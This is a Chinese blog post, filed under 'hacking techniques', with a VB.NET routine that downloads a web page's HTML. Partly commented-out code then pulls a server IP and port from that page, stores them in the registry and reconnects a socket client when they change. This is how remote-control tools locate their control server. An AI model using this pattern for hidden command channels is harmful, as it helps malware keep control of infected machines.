加载中…
个人资料
  • 博客等级:
  • 博客积分:
  • 博客访问:
  • 关注人气:
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
正文 字体大小:

VB.NET 通过代码获取访问的网页的HTML代码

(2011-04-27 11:47:37)
标签:

通过代码

获取

网页html源码

it

分类: 黑客技术

    Sub GetHTMLInfo()
        Dim url As String = "http://www.baidu.com" ' 网页地址
        Dim httpReq As System.Net.HttpWebRequest
        Dim httpResp As System.Net.HttpWebResponse
        Dim httpURL As New System.Uri(url)
        httpReq = CType(Net.HttpWebRequest.Create(httpURL), Net.HttpWebRequest)
        httpReq.Method = "GET"
        httpResp = CType(httpReq.GetResponse(), Net.HttpWebResponse)
        httpReq.KeepAlive = False ' 获取或设置一个值,该值指示是否与Internet资源建立持久连接。
        Dim reader As IO.StreamReader = New IO.StreamReader(httpResp.GetResponseStream, System.Text.Encoding.GetEncoding("GB2312"))    '用GB2312字符
        Dim respHTML As String = reader.ReadToEnd() 'respHTML就是网页源代码 
        Dim myip As String = ""
        Dim myPort = ""
        If respHTML <> "" Then
            '对获取到的网页代码进行处理
            'myip = strCut(respHTML, "", ":", 2) '得到ip
            'myPort = strCut(respHTML, ":", "_", 2) '得到端口
            'If myip <> "" And myPort <> "" Then
              If tstbip.Text <> myip Or tstbport.Text <> myPort Or MySktCls.IsConnected = False Then
                  tstbip.Text = myip
                  tstbport.Text = myPort

                  ServerPort = Val(CInt(WinApiM.GetMySet("ServerPort", tstbport.Text))) '写入注册表
                  ServerIP = WinApiM.GetMySet("serverip", tstbip.Text)

                  MySktCls.ConnectToServer(tstbip.Text, tstbport.Text) '如果发现端口或ip不对就马上重新连接If MySktCls.IsConnected = False Then
                  ' ConnectToServer(tstbip.Text, CInt(Val(tstbport.Text)))

              End If
            'End If
            '对获取到的网页代码进行处理END
            url = ""
            myip = ""
            myPort = ""
        End If
    End Sub

0

阅读 收藏 喜欢 打印举报/Report
  

新浪BLOG意见反馈留言板 欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 产品答疑

新浪公司 版权所有